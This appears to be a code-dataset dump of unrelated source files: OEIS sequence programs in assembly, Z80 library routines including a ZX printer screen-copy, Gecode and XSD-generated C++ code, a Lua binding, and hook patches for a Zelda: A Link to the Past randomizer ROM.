text stringlengths 1 1.05M |
|---|
; A083919: Number of divisors of n that are congruent to 9 modulo 10.
; 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,2,0
add $0,1
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
add $5,1
lpb $5
add $1,1
add $5,$3
mod $5,10
lpe
trn $5,3
lpe
mov $0,$1
|
; void zx_cls_wc_pix(struct r_Rect8 *r, uchar pix)
SECTION code_clib
SECTION code_arch
PUBLIC zx_cls_wc_pix
EXTERN asm_zx_cls_wc_pix
zx_cls_wc_pix:
pop af
pop hl
pop ix
push hl
push hl
push af
jp asm_zx_cls_wc_pix
|
/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- */
/*
* Main authors:
* Christian Schulte <schulte@gecode.org>
*
* Copyright:
* Christian Schulte, 2004
*
* This file is part of Gecode, the generic constraint
* development environment:
* http://www.gecode.org
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
namespace Gecode { namespace Iter { namespace Ranges {
/**
* \brief Range iterator for pointwise minus of a range iterator
*
* This iterator in effect changes the order of how ranges
* are iterated: the first range of the input iterator defines
* the last range of the Minus iterator. Upon initialization
* all ranges of the input iterator are stored
* which later allows iteration in inverse direction.
*
* \ingroup FuncIterRanges
*/
class Minus : public RangeListIter {
public:
/// \name Constructors and initialization
//@{
/// Default constructor
Minus(void);
/// Copy constructor
Minus(const Minus& m);
/// Initialize with ranges from \a i
template<class I>
Minus(Region& r, I& i);
/// Initialize with ranges from \a i
template<class I>
void init(Region& r, I& i);
/// Assignment operator (both iterators must be allocated from the same region)
Minus& operator =(const Minus& m);
//@}
};
forceinline
Minus::Minus(void) {}
forceinline
Minus::Minus(const Minus& m)
: RangeListIter(m) {}
template<class I>
void
Minus::init(Region& r, I& i) {
RangeListIter::init(r);
RangeList* p = NULL;
for (; i(); ++i) {
RangeList* t = new (*rlio) RangeList;
t->next = p;
t->min = -i.max();
t->max = -i.min();
p = t;
}
RangeListIter::set(p);
}
template<class I>
forceinline
Minus::Minus(Region& r, I& i) {
init(r,i);
}
forceinline Minus&
Minus::operator =(const Minus& m) {
return static_cast<Minus&>(RangeListIter::operator =(m));
}
}}}
// STATISTICS: iter-any
|
; A047207: Numbers that are congruent to {0, 1, 3, 4} mod 5.
; 0,1,3,4,5,6,8,9,10,11,13,14,15,16,18,19,20,21,23,24,25,26,28,29,30,31,33,34,35,36,38,39,40,41,43,44,45,46,48,49,50,51,53,54,55,56,58,59,60,61,63,64,65,66,68,69,70,71,73,74,75,76,78,79,80,81,83,84,85,86,88,89,90,91,93,94,95,96,98,99,100,101,103,104,105,106,108,109,110,111,113,114,115,116,118,119,120,121,123,124,125,126,128,129,130,131,133,134,135,136,138,139,140,141,143,144,145,146,148,149,150,151,153,154,155,156,158,159,160,161,163,164,165,166,168,169,170,171,173,174,175,176,178,179,180,181,183,184,185,186,188,189,190,191,193,194,195,196,198,199,200,201,203,204,205,206,208,209,210,211,213,214,215,216,218,219,220,221,223,224,225,226,228,229,230,231,233,234,235,236,238,239,240,241,243,244,245,246,248,249,250,251,253,254,255,256,258,259,260,261,263,264,265,266,268,269,270,271,273,274,275,276,278,279,280,281,283,284,285,286,288,289,290,291,293,294,295,296,298,299,300,301,303,304,305,306,308,309,310,311
mov $1,$0
mul $1,5
add $1,2
div $1,4
|
; A113861: a(n) = (1/9)*((6*n - 7)*2^(n-1) - (-1)^n).
; 0,1,5,15,41,103,249,583,1337,3015,6713,14791,32313,70087,151097,324039,691769,1470919,3116601,6582727,13864505,29127111,61050425,127693255,266571321,555512263,1155763769,2401006023,4980969017,10319851975,21355531833,44142719431,91148750393,188024123847,387501493817,797909479879,1641631944249,3374889857479,6933031652921,14232567181767,29198142115385,59862299734471,122656630476345,251177322967495,514082769964601,1051621787988423,2150156072095289,4394137136427463,8975924257328697,18327148483604935
mov $2,$0
lpb $2
add $0,$1
mul $0,2
add $0,$2
cmp $1,0
sub $2,1
lpe
div $0,3
|
setup_segment:
mov cx, 0x07c0 ;shifted to left, 0x7c00
mov ds, cx
ret
print:
mov ah, 0x0e
print_loop:
mov al, [bx]
cmp al, 0
je print_end
mov al, [bx]
int 0x10
inc bx
jmp print_loop
println:
call print
newline:
mov al, 10
int 0x10 ;accapo
mov al, 13
int 0x10
ret
print_end ret
|
// Copyright (c) 2005-2014 Code Synthesis Tools CC
//
// This program was generated by CodeSynthesis XSD, an XML Schema to
// C++ data binding compiler.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
//
// In addition, as a special exception, Code Synthesis Tools CC gives
// permission to link this program with the Xerces-C++ library (or with
// modified versions of Xerces-C++ that use the same license as Xerces-C++),
// and distribute linked combinations including the two. You must obey
// the GNU General Public License version 2 in all respects for all of
// the code used other than Xerces-C++. If you modify this copy of the
// program, you may extend this exception to your version of the program,
// but you are not obligated to do so. If you do not wish to do so, delete
// this exception statement from your version.
//
// Furthermore, Code Synthesis Tools CC makes a special exception for
// the Free/Libre and Open Source Software (FLOSS) which is described
// in the accompanying FLOSSE file.
//
// Begin prologue.
//
//
// End prologue.
#include <xsd/cxx/pre.hxx>
#include "SimNode_MixedWaterFlowPort_Water_InOrOut.hxx"
namespace schema
{
namespace simxml
{
namespace ResourcesGeneral
{
// SimNode_MixedWaterFlowPort_Water_InOrOut
//
}
}
}
#include <xsd/cxx/xml/dom/parsing-source.hxx>
#include <xsd/cxx/tree/type-factory-map.hxx>
namespace _xsd
{
static
const ::xsd::cxx::tree::type_factory_plate< 0, char >
type_factory_plate_init;
}
namespace schema
{
namespace simxml
{
namespace ResourcesGeneral
{
// SimNode_MixedWaterFlowPort_Water_InOrOut
//
SimNode_MixedWaterFlowPort_Water_InOrOut::
SimNode_MixedWaterFlowPort_Water_InOrOut ()
: ::schema::simxml::ResourcesGeneral::SimNode_MixedWaterFlowPort ()
{
}
SimNode_MixedWaterFlowPort_Water_InOrOut::
SimNode_MixedWaterFlowPort_Water_InOrOut (const RefId_type& RefId)
: ::schema::simxml::ResourcesGeneral::SimNode_MixedWaterFlowPort (RefId)
{
}
SimNode_MixedWaterFlowPort_Water_InOrOut::
SimNode_MixedWaterFlowPort_Water_InOrOut (const SimNode_MixedWaterFlowPort_Water_InOrOut& x,
::xml_schema::flags f,
::xml_schema::container* c)
: ::schema::simxml::ResourcesGeneral::SimNode_MixedWaterFlowPort (x, f, c)
{
}
SimNode_MixedWaterFlowPort_Water_InOrOut::
SimNode_MixedWaterFlowPort_Water_InOrOut (const ::xercesc::DOMElement& e,
::xml_schema::flags f,
::xml_schema::container* c)
: ::schema::simxml::ResourcesGeneral::SimNode_MixedWaterFlowPort (e, f, c)
{
}
SimNode_MixedWaterFlowPort_Water_InOrOut* SimNode_MixedWaterFlowPort_Water_InOrOut::
_clone (::xml_schema::flags f,
::xml_schema::container* c) const
{
return new class SimNode_MixedWaterFlowPort_Water_InOrOut (*this, f, c);
}
SimNode_MixedWaterFlowPort_Water_InOrOut::
~SimNode_MixedWaterFlowPort_Water_InOrOut ()
{
}
}
}
}
#include <istream>
#include <xsd/cxx/xml/sax/std-input-source.hxx>
#include <xsd/cxx/tree/error-handler.hxx>
namespace schema
{
namespace simxml
{
namespace ResourcesGeneral
{
}
}
}
#include <xsd/cxx/post.hxx>
// Begin epilogue.
//
//
// End epilogue.
|
#include "lua_class_position.hpp"
#include "../../position.hpp"
namespace elona
{
namespace lua
{
void LuaPosition::bind(sol::state& lua)
{
auto LuaPosition = lua.create_simple_usertype<Position>();
/**
* @luadoc new function
*
* Constructs a new LuaPosition.
* @usage local LuaPosition = Elona.require("LuaPosition")
* local pos = LuaPosition.new()
*/
LuaPosition.set("new", sol::constructors<Position(), Position(int, int)>());
/**
* @luadoc x field num
*
* [RW] The X coordinate of this position.
*/
LuaPosition.set("x", &Position::x);
/**
* @luadoc y field num
*
* [RW] The Y coordinate of this position.
*/
LuaPosition.set("y", &Position::y);
lua.set_usertype("LuaPosition", LuaPosition);
}
} // namespace lua
} // namespace elona
|
; A137932: Terms in an n X n spiral that do not lie on its principal diagonals.
; 0,0,0,4,8,16,24,36,48,64,80,100,120,144,168,196,224,256,288,324,360,400,440,484,528,576,624,676,728,784,840,900,960,1024,1088,1156,1224,1296,1368,1444,1520,1600,1680,1764,1848,1936,2024,2116,2208,2304,2400,2500,2600,2704,2808,2916,3024,3136,3248,3364,3480,3600,3720,3844,3968,4096,4224,4356,4488,4624,4760,4900,5040,5184,5328,5476,5624,5776,5928,6084,6240,6400,6560,6724,6888,7056,7224,7396,7568,7744,7920,8100,8280,8464,8648,8836,9024,9216,9408,9604
sub $0,1
pow $0,2
div $0,4
mul $0,4
|
;
; Copy the graphics from screen to the zx printer
; It can be used for any redefined (or not) pseudo-graphics, fonts and characters.
;
; Traps the BREAK key to avoid an unwanted C program termination, etc..
;
; Stefano Bodrato, 2018
;
;
; $Id: zx_hardcopy.asm $
;
SECTION code_clib
PUBLIC zx_hardcopy
PUBLIC _zx_hardcopy
EXTERN loadudg6
.zx_hardcopy
._zx_hardcopy
ld c,0 ; first UDG chr$ to load
ld b,64 ; number of characters to load
;ld hl,acefont
ld hl,0
add hl,sp
ld (stacksave+1),hl
ld hl,-512
add hl,sp
ld sp,hl
push hl
call loadudg6
pop hl
ld de,-1024
add hl,de
ld (acefont+1),hl
; The full character-mapped screen is copied to the ZX-Printer.
; All twenty-four text/graphic lines are printed.
;; COPY
DI
L0869: LD D,24 ; prepare to copy twenty four text lines.
LD HL,$2400 ; set HL to start of display file from D_FILE.
;; COPY-LOOP
L087A: PUSH HL ; save first character of line pointer. (*)
XOR A ; clear accumulator.
LD E,A ; set pixel line count, range 0-7, to zero.
; this inner loop deals with each horizontal pixel line.
;; COPY-TIME
L087D: OUT ($FB),A ; bit 2 reset starts the printer motor
; with an inactive stylus - bit 7 reset.
POP HL ; pick up first character of line pointer (*)
; on inner loop.
; row_sync
;.LOOP1
; IN A,($FB) ; GET PRINTER STATUS BYTE
; RLA ; ROTATE BIT 7 (LF BUSY) TO C FLAG
; JR NC,LOOP1 ; LOOP IF LINEFEED IS BUSY
;; COPY-BRK
L0880:
IN A,($FE) ;
RRA ;
jr nc,stop_exit
; ---
;; COPY-CONT
L088A: IN A,($FB) ; read from printer port.
ADD A,A ; test bit 6 and 7
JP M,L08DE ; jump forward with no printer to COPY-END
JR NC,L0880 ; back if stylus not in position to COPY-BRK
PUSH HL ; save first character of line pointer (*)
PUSH DE ; ** preserve character line and pixel line.
LD A,D ; text line count to A?
CP $02 ; sets carry if last line.
SBC A,A ; now $FF if last line else zero.
; now cleverly prepare a printer control mask setting bit 2 (later moved to 1)
; of D to slow printer for the last two pixel lines ( E = 6 and 7)
AND E ; and with pixel line offset 0-7
RLCA ; shift to left.
AND E ; and again.
LD D,A ; store control mask in D.
;; COPY-NEXT
L089C: LD A,(HL) ; load character from screen or buffer.
ld c,a
INC HL ; update pointer for next time.
PUSH HL ; * else preserve the character pointer.
ld h,0
sub 128
ld a,h ; zero
jp c,blank ; filter out non-udg characters and force them to blank
ld a,c
ld l,a
ld c,d ; save D reg
ld d,h ; ..and put zero on it
rl l
rl h ; *2
rl l
rl h ; *4
rl l
rl h ; *8
add hl,de ; current character row
ld a,e ; save E reg
acefont:
;ld de,acefont-1024
ld de,0
add hl,de
ld e,a
ld d,c
ld a,(hl)
blank:
LD C,A ; transfer the byte to C.
LD B,$08 ; count eight bits to output.
;; COPY-BITS
L08B5: LD A,D ; fetch speed control mask from D.
RLC C ; rotate a bit from output byte to carry.
RRA ; pick up in bit 7, speed bit to bit 1
LD H,A ; store aligned mask in H register.
;; COPY-WAIT
L08BA:
IN A,($FB) ; read the printer port
RRA ; test for alignment signal from encoder.
JR NC,L08BA ; loop if not present to COPY-WAIT
LD A,H ; control byte to A.
OUT ($FB),A ; and output to printer port.
DJNZ L08B5 ; loop for all eight bits to COPY-BITS
POP HL ; * restore character pointer.
ld a,31
and l ; test if we are in a new line
JR nz,L089C ; if within 32 columns, back for adjacent character line to COPY-NEXT
; ---
; End of line
;; COPY-N/L
L08C7:
IN A,($FB) ; read the printer port
RRA ; test for alignment signal from encoder.
JR NC,L08C7 ; loop if not present (as in COPY-WAIT)
LD A,D ; transfer speed mask to A.
RRCA ; rotate speed bit to bit 1.
; bit 7, stylus control is reset.
OUT ($FB),A ; set the printer speed.
POP DE ; ** restore character line and pixel line.
INC E ; increment pixel line 0-7.
BIT 3,E ; test if value eight reached.
JR Z,L087D ; back if not to COPY-TIME
; eight pixel lines, a text line have been completed.
POP BC ; lose the now redundant first character
; pointer
DEC D ; decrease text line count.
JR NZ,L087A ; back if not zero to COPY-LOOP
stop_exit:
LD A,$04 ; stop the already slowed printer motor.
OUT ($FB),A ; output to printer port.
;; COPY-END
L08DE:
stacksave:
ld hl,0
ld sp,hl
EI
RET
; SECTION bss_clib
;acefont:
; defs 512
|
; int b_array_at(b_array_t *a, size_t idx)
SECTION code_adt_b_array
PUBLIC _b_array_at
EXTERN asm_b_array_at
_b_array_at:
pop af
pop hl
pop bc
push bc
push hl
push af
jp asm_b_array_at
|
;================================================================================
; Init Hook
;--------------------------------------------------------------------------------
org $00802F ; <- 2F - Bank00.asm : 45
JSL.l Init_Primary
NOP
;--------------------------------------------------------------------------------
;================================================================================
; Frame Hook
;--------------------------------------------------------------------------------
org $008056 ; <- 56 - Bank00.asm : 77
JSL.l FrameHookAction
;--------------------------------------------------------------------------------
;================================================================================
; NMI Hook
;--------------------------------------------------------------------------------
org $0080CC ; <- CC - Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB)
JML.l NMIHookAction
org $0080D0 ; <- D0 - Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB)
NMIHookReturn:
;--------------------------------------------------------------------------------
;org $00821B ; <- 21B - Bank00.asm : 329 (LDA $13 : STA $2100)
;JML.l PostNMIHookAction : NOP
;PostNMIHookReturn:
;--------------------------------------------------------------------------------
;================================================================================
; Anti-ZSNES Hook
;--------------------------------------------------------------------------------
;org $008023 ;<- 23 - Bank00.asm : 36 (LDA.w #$01FF : TCS)
;JML.l CheckZSNES
;ReturnCheckZSNES:
;--------------------------------------------------------------------------------
;================================================================================
; Dungeon Entrance Hook (works, but not needed at the moment)
;--------------------------------------------------------------------------------
;org $02D8C7 ; <- 158C7 - Bank02.asm : 10981 (STA $7EC172)
;JSL.l OnDungeonEntrance
;--------------------------------------------------------------------------------
;================================================================================
; D-Pad Invert
;--------------------------------------------------------------------------------
org $0083D9 ; <- 3D9 - Bank00.asm : 611 (LDA $4219 : STA $01)
JSL.l alttp_mw_check_softreset : NOP
;--------------------------------------------------------------------------------
;================================================================================
; Dungeon Exit Hook
;--------------------------------------------------------------------------------
org $02E21B ; <- 1621B - Bank02.asm : 11211 (STA $040C)
JSL.l OnDungeonExit : NOP #2
;--------------------------------------------------------------------------------
;================================================================================
; Infinite Bombs / Arrows / Magic
;--------------------------------------------------------------------------------
; org $08A17A ; <- 4217A - ancilla_arrow.asm : 42 (AND.b #$04 : BEQ .dont_spawn_sparkle)
; CMP.b #$03 : db #$90 ; !BLT
; org $08A40E ; <- 4240E - ancilla_arrow.asm : 331 (AND.b #$04 : BNE .use_silver_palette)
; CMP.b #$03 : db #$B0 ; !BGE
; ;--------------------------------------------------------------------------------
; org $098127 ; <- 48127 - ancilla_init.asm : 202 (LDA $7EF343 : BNE .player_has_bombs)
; JSL.l LoadBombCount
; org $098133 ; <- 48133 - ancilla_init.asm : 211 (STA $7EF343 : BNE .bombs_left_over)
; JSL.l StoreBombCount
; ;--------------------------------------------------------------------------------
; org $0DE4BF ; <- 6E4BF - equipment.asm : 1249 (LDA $7EF343 : AND.w #$00FF : BEQ .gotNoBombs)
; JSL.l LoadBombCount16
; ;--------------------------------------------------------------------------------
; org $0DDEB3 ; <- 6DEB3 - equipment.asm : 328 (LDA $7EF33F, X)
; JSL.l IsItemAvailable
; ;--------------------------------------------------------------------------------
; org $0DFC5B ; <- 6FC5B - headsup_display.asm : 839 (LDA .mp_tilemap+0, X : STA $7EC746)
; JSL.l DrawMagicMeter : JMP.w + : NOP #21 : +
; ;--------------------------------------------------------------------------------
; ;================================================================================
; ; Inverted Mode
; ;--------------------------------------------------------------------------------
; org $028413 ; <- 10413 - Bank02.asm : 853 (LDA $7EF357 : BNE .notBunny)
; NOP #6
; JSL.l DecideIfBunny : db #$D0 ; BNE
; ;--------------------------------------------------------------------------------
; org $07AA44 ; <- 3AA44 - Bank07.asm : 853 (LDA $7EF357 : BNE .playerHasMoonPearl)
; NOP #6
; JSL.l DecideIfBunnyByScreenIndex : db #$D0 ; BNE
; ;--------------------------------------------------------------------------------
; org $02D9B9 ; <- 159B9 - Bank02.asm : 11089 (LDA $7EF3C8)
; JSL AllowStartFromSingleEntranceCave
; ;--------------------------------------------------------------------------------
; ;================================================================================
; ; Hash Key Display
; ;--------------------------------------------------------------------------------
; org $0CCDB5 ; <- 64DB5 - Bank0C.asm : 1776 (LDA.b #$06 : STA $14)
; JSL.l PrepHashAlphabet
; ;--------------------------------------------------------------------------------
; ================================================================================
; Agahnim 0bb
; --------------------------------------------------------------------------------
;org $1ED6EF ; <- F56EF - sprite_agahnim.asm : 636 (JSL GetRandomInt : AND.b #$01 : BNE BRANCH_GAMMA)
;NOP #18
; --------------------------------------------------------------------------------
;================================================================================
; Zelda Sprite Fixes
;--------------------------------------------------------------------------------
org $05EBCF ; <- 2EBCF - sprite_zelda.asm : 23 (LDA $7EF359 : CMP.b #$02 : BCS .hasMasterSword)
JSL.l SpawnZelda : NOP #2
;NOP #8
;--------------------------------------------------------------------------------
;org $06C06F ; <- 3406F - Bank06.asm : 1794 (JSL Sprite_ZeldaLong)
;JSL.l SpawnZelda
;--------------------------------------------------------------------------------
; ;================================================================================
; ; Alternate Goal
; ;--------------------------------------------------------------------------------
;Invincible Ganon
org $06F2C8 ; <- 372C8 - Bank06.asm : 5776 (LDA $44 : CMP.b #$80 : BEQ .no_collision)
JSL.l GoalItemGanonCheck
; ;--------------------------------------------------------------------------------
; ;Hammerable Ganon
; org $06F2EA ; <- 372EA - Bank06.asm : 5791 (LDA $0E20, X : CMP.b #$D6 : BCS .no_collision)
; JSL.l CheckGanonHammerDamage : NOP
; ;--------------------------------------------------------------------------------
;================================================================================
; Stat Hooks
;--------------------------------------------------------------------------------
org $079202 ; 39202 <- Bank07.asm : 2859 (JSL AddDashTremor)
JSL.l StatBonkCounter
;--------------------------------------------------------------------------------
; org $02B797 ; <- 13797 - Bank02.asm : 8712 (LDA.b #$19 : STA $10)
; JSL.l StatsFinalPrep
; ;--------------------------------------------------------------------------------
; org $07A95B ; <- 3A95B - Bank07.asm : 6565 (JSL Dungeon_SaveRoomData)
; JSL.l IncrementUWMirror
; ; ;--------------------------------------------------------------------------------
; ; org $0288D1 ; <- 108D1 - Bank02.asm : 1690 (STZ $0646)
; ; JSL.l IndoorSubtileTransitionCounter
; ; NOP #2
; ; ;--------------------------------------------------------------------------------
; org $07B574 ; <- 3B574 - Bank07.asm : 8519 (LDA.b #$01 : STA $02E9)
; JSL.l IncrementChestCounter
; NOP
;--------------------------------------------------------------------------------
;org $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F)
;JSL.l IncrementSmallKeys
;--------------------------------------------------------------------------------
;org $06D18D ; <- 3518D - sprite_absorbable.asm : 274 (LDA $7EF36F : INC A : STA $7EF36F)
org $06D192 ; <- 35192 - sprite_absorbable.asm : 274 (STA $7EF36F)
JSL.l IncrementSmallKeysNoPrimary
; ;--------------------------------------------------------------------------------
; org $00F945 ; <- 7945 - Bank00.asm : 8557 (JSL SavePalaceDeaths)
; JSL.l StatTransitionCounter ; we're not bothering to restore the instruction we wrote over
; ;--------------------------------------------------------------------------------
org $09F443 ; <- 4F443 - module_death.asm : 257 (STA $7EF35C, X)
JSL.l IncrementFairyRevivalCounter
; ;--------------------------------------------------------------------------------
; org $02B6F3 ; <- 136F3 - Bank02.asm : 8600 (LDA.b #$0F : STA $10)
; JSL.l DungeonExitTransition
; ;--------------------------------------------------------------------------------
; org $1BBD6A ; <- DBD6A - Bank1B.asm : 301 (LDA.b #$0F : STA $10)
; JSL.l DungeonExitTransition
; ;--------------------------------------------------------------------------------
; org $01C3A7 ; <- C3A7 - Bank01.asm : 9733 (JSL Dungeon_SaveRoomQuadrantData)
; JSL.l DungeonStairsTransition
; ;--------------------------------------------------------------------------------
; org $0BFFAC ; <- 5FFAC - Bank0B.asm : 170 (JSL Dungeon_SaveRoomQuadrantData)
; JSL.l DungeonStairsTransition
; ;--------------------------------------------------------------------------------
; org $029A17 ; <- 11A17 - Bank02.asm : 4770 (JSL EnableForceBlank)
; JSL.l DungeonHoleEntranceTransition
; ;--------------------------------------------------------------------------------
; org $0794EB ; <- 394EB - Bank07.asm : 3325 (LDA $01C31F, X : STA $0476)
; JSL.l DungeonHoleWarpTransition
; ;--------------------------------------------------------------------------------
; org $0CC999 ; <- 64999 - Bank0C.asm : 1087 (LDA.b #$0F : STA $13)
; NOP #4
;--------------------------------------------------------------------------------
; org $01ED75 ; <- ED75 - Bank01.asm : 13963 (JSL Dungeon_SaveRoomQuadrantData)
; JSL.l IncrementBigChestCounter
;--------------------------------------------------------------------------------
;================================================================================
; Dialog Override
;--------------------------------------------------------------------------------
;org $0EEE8D ; 0x76E8D <- vwf.asm : 152 (LDA $7F71C0, X : STA $04)
;JSL.l DialogOverride
;NOP #7
;--------------------------------------------------------------------------------
org $0EF1FF ; 0x771FF <- vwf.asm : 1212 (LDA $7F1200, X : AND.w #$007F : SUB.w #$0066 : BPL .commandByte)
JSL.l DialogOverride
org $0EF2DC ; every other LDA $7F1200, X in vwf.asm
JSL.l DialogOverride
org $0EF315
JSL.l DialogOverride
org $0EF332
JSL.l DialogOverride
org $0EF375
JSL.l DialogOverride
org $0EF394
JSL.l DialogOverride
org $0EF511
JSL.l DialogOverride
org $0EF858
JSL.l DialogOverride
org $0EFA26
JSL.l DialogOverride
org $0EFA4C
JSL.l DialogOverride
org $0EFAB4
JSL.l DialogOverride
org $0EFAC8
JSL.l DialogOverride
org $0EFAE1
JSL.l DialogOverride
org $0EFB11
JSL.l DialogOverride
; ;--------------------------------------------------------------------------------
org $0EFBC6 ; <- 77BC6 - vwf.asm : 2717 (LDA.b #$1C : STA $1CE9)
JSL.l ResetDialogPointer
RTS
; ;--------------------------------------------------------------------------------
; org $0EED0B ; <- PC 0x76D0B - Bank0E.asm : 3276 (LDA $E924, Y : STA $1008, X)
; JSL.l EndingSequenceTableOverride
; NOP #2
; ;--------------------------------------------------------------------------------
; org $0EED15 ; <- PC 0x76D15 - Bank0E.asm : 3282 (LDA $E924, Y : STA $1008, X)
; JSL.l EndingSequenceTableOverride
; NOP #2
; ;--------------------------------------------------------------------------------
; org $0EED2A ; <- PC 0x76D2A - Bank0E.asm : 3295 (LDA $E924, Y : AND.w #$00FF)
; JSL.l EndingSequenceTableLookupOverride
; NOP #2
; ;--------------------------------------------------------------------------------
;================================================================================
; Master Sword Chest Fix
;--------------------------------------------------------------------------------
;org $0987d7 ; <- ancilla_init.asm : 1071
;NOP #4
;--------------------------------------------------------------------------------
;================================================================================
; File Select Init Event
;--------------------------------------------------------------------------------
org $0CCC89 ; <- 0x64C89 Bank0C.asm : 1598 (JSL EnableForceBlank)
JSL.l OnInitFileSelect
;--------------------------------------------------------------------------------
;================================================================================
; Hyrule Castle Rain Sequence Guards (allowing Gloves in Link's house)
;--------------------------------------------------------------------------------
org $09C8B7 ; <- 4C8B7
dw #CastleRainSpriteData
org $09F7BD ; <- 4F7BD
CastleRainSpriteData:
db $06, $1F, $40, $12, $01, $3F, $14, $01, $3F, $13, $1F, $42, $1A, $1F, $4B, $1A, $20, $4B, $25, $2D, $3F, $29, $20, $3F, $2A, $3C, $3F, $FF
;--------------------------------------------------------------------------------
;================================================================================
; Sprite_DrawMultiple
;--------------------------------------------------------------------------------
org $05DFB1 ; <- 2DFB1 - Bank05.asm : 2499
JSL.l SkipDrawEOR
;--------------------------------------------------------------------------------
;================================================================================
; Kiki Big Bomb Fix
;--------------------------------------------------------------------------------
org $1EE4AF ; <- f64af sprite_kiki.asm : 285 (LDA.b #$0A : STA $7EF3CC)
JSL.l AssignKiki
NOP #2
;--------------------------------------------------------------------------------
; ;================================================================================
; ; Hard & Masochist Mode Fixes
; ;--------------------------------------------------------------------------------
; org $07D22B ; <- 3D22B - Bank05.asm : 12752 (LDA $D055, Y : STA $0373)
; JSL.l CalculateSpikeFloorDamage : NOP #2
; ;--------------------------------------------------------------------------------
; org $08DCC3 ; <- 45CC3 - ancilla_cane_spark.asm : 272 (LDA $7EF36E)
; JSL.l CalculateByrnaUsage
; ;--------------------------------------------------------------------------------
; org $07AE17 ; <- 3AE17 - Bank07.asm : 7285 (LDA $7EF36E)
; JSL.l CalculateCapeUsage
; ;--------------------------------------------------------------------------------
; org $07AE98 ; <- 3AE98 - Bank07.asm : 7380 (LDA $7EF36E)
; JSL.l CalculateCapeUsage
; ;--------------------------------------------------------------------------------
; org $08DCA7 ; <- 45CA7 - ancilla_cane_spark.asm : 256 (LDA.b #$01 : STA $037B)
; JSL.l ActivateInvulnerabilityOrDont : NOP
; ;--------------------------------------------------------------------------------
; org $06EF1B ; <- 36F1B - Bank06.asm : 5100 (TYA : STA $7FFA3C, X : BEQ BRANCH_DELTA)
; db #$27
; ;--------------------------------------------------------------------------------
; org $06EF43 ; <- 36F43 - Bank06.asm : 5117 (LDA.b #$40 : STA $0DF0, X)
; JSL CheckStunItemAction : NOP
; ;--------------------------------------------------------------------------------
;================================================================================
; Misc Stats
;--------------------------------------------------------------------------------
org $029E2E ; <- 11E2E - module_ganon_emerges.asm : 59 (JSL Dungeon_SaveRoomData.justKeys)
JSL.l OnAga2Defeated
;--------------------------------------------------------------------------------
org $0DDBDE ; <- 6DBDE - headsup_display.asm : 105 (DEC A : BPL .subtractRupees)
JSL.l IncrementSpentRupees
NOP #6
;org $0DDBF7 ; <- 6DBF7 - headsup_display.asm : 121 (STA $7EF362)
;RefillLogic_subtractRupees:
;--------------------------------------------------------------------------------
;================================================================================
; Remove Item Menu Text
;--------------------------------------------------------------------------------
org $0DEBB0 ; <- 6EBB0 - equipment.asm : 1810 (LDA $0202)
JMP DrawItem_finished
org $0DECE6 ; <- 6ECE6 - equipment.asm : 1934 (SEP #$30)
DrawItem_finished:
org $0DEB48 ; <- 6EB48 - equipment.asm : 1784 (LDA $0000)
LDA $0000, Y : STA $11F2
LDA $0002, Y : STA $11F4
LDA $0040, Y : STA $1232
LDA $0042, Y : STA $1234
;---------------------------
org $0DE24B ; <- 6E24B - equipment.asm : 951 (LDA $0000)
LDA $0000, Y : STA $11F2
LDA $0002, Y : STA $11F4
LDA $0040, Y : STA $1232
LDA $0042, Y : STA $1234
;--------------------------------------------------------------------------------
org $0DE2DC ; <- 6E2DC - equipment.asm : 989 (LDA $F449, X : STA $122C, Y)
JMP UpdateBottleMenu_return
org $0DE2F1 ; <- 6E2F1 - equipment.asm : 1000 (SEP #$30)
UpdateBottleMenu_return:
;--------------------------------------------------------------------------------
;org $0DDDC3 ; <- 6DDC3 - equipment.asm : 131 (JSR DrawAbilityText)
;NOP #3
org $0DE6F4 ; <- 6E6F4 - equipment.asm : 1474 (BCC .lacksAbility)
db #$80 ; BRA
org $0DE81A ; <- 6E81A - equipment.asm : 1597 (STA $00)
RTS
org $0DE7B9 ; <- 6E7B9 - equipment.asm : 1548 (LDA.w #$16D0 : STA $00)
JSL.l DrawGlovesInMenuLocation : NOP
org $0DE7CF ; <- 6E7CF - equipment.asm : 1554 (LDA.w #$16C8 : STA $00)
JSL.l DrawBootsInMenuLocation : NOP
org $0DE7E5 ; <- 6E7E5 - equipment.asm : 1560 (LDA.w #$16D8 : STA $00)
JSL.l DrawFlippersInMenuLocation : NOP
